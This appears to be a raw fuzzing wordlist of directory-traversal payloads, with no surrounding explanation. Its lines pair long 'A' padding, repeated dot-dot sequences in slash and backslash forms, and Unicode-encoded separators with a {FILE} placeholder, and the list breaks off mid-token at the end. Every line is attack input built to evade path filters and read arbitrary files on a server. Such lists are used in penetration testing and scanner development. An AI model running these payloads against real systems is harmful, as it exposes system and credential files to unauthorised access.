AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\n.../{FILE}\r\n.../.../{FILE}\r\n.../.../.../{FILE}\r\n.../.../.../.../{FILE}\r\n.../.../.../.../.../{FILE}\r\n.../.../.../.../.../.../{FILE}\r\n.../.../.../.../.../.../.../{FILE}\r\n.../.../.../.../.../.../.../.../{FILE}\r\n...\\{FILE}\r\n...\\...\\{FILE}\r\n...\\...\\...\\{FILE}\r\n...\\...\\...\\...\\{FILE}\r\n...\\...\\...\\...\\...\\{FILE}\r\n...\\...\\...\\...\\...\\...\\{FILE}\r\n...\\...\\...\\...\\...\\...\\...\\{FILE}\r\n...\\...\\...\\...\\...\\...\\...\\...\\{FILE}\r\n..../{FILE}\r\n..../..../{FILE}\r\n..../..../..../{FILE}\r\n..../..../..../..../{FILE}\r\n..../..../..../..../..../{FILE}\r\n..../..../..../..../..../..../{FILE}\r\n..../..../..../..../..../..../..../{FILE}\r\n..../..../..../..../..../..../..../..../{FILE}\r\n....\\{FILE}\r\n....\\....\\{FILE}\r\n....\\....\\....\\{FILE}\r\n....\\....\\....\\....\\{FILE}\r\n....\\....\\....\\....\\....\\{FILE}\r\n....\\....\\....\\....\\....\\....\\{FILE}\r\n....\\....\\....\\....\\....\\....\\....\\{FILE}\r\n....\\....\\....\\....\\....\\....\\....\\....\\{FILE}\r\n........................................................................../{FILE}\r\n........................................................................../../{FILE}\r\n........................................................................../../../{FILE}\r\n........................................................................../../../../{FILE}\r\n........................................................................../../../../../{FILE}\r\n........................................................................../../../../../../{FILE}\r\n........................................................................../../../../../../../{FILE}\r\n........................................................................../../../../../../../../{FILE}\r\n..........................................................................\\{FILE}\r\n..........................................................................\\..\\{FILE}\r\n..........................................................................\\..\\..\\{FILE}\r\n..........................................................................\\..\\..\\..\\{FILE}\r\n..........................................................................\\..\\..\\..\\..\\{FILE}\r\n..........................................................................\\..\\..\\..\\..\\..\\{FILE}\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\{FILE}\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\n..%u2215{FILE}\r\n..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}\r\n%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%u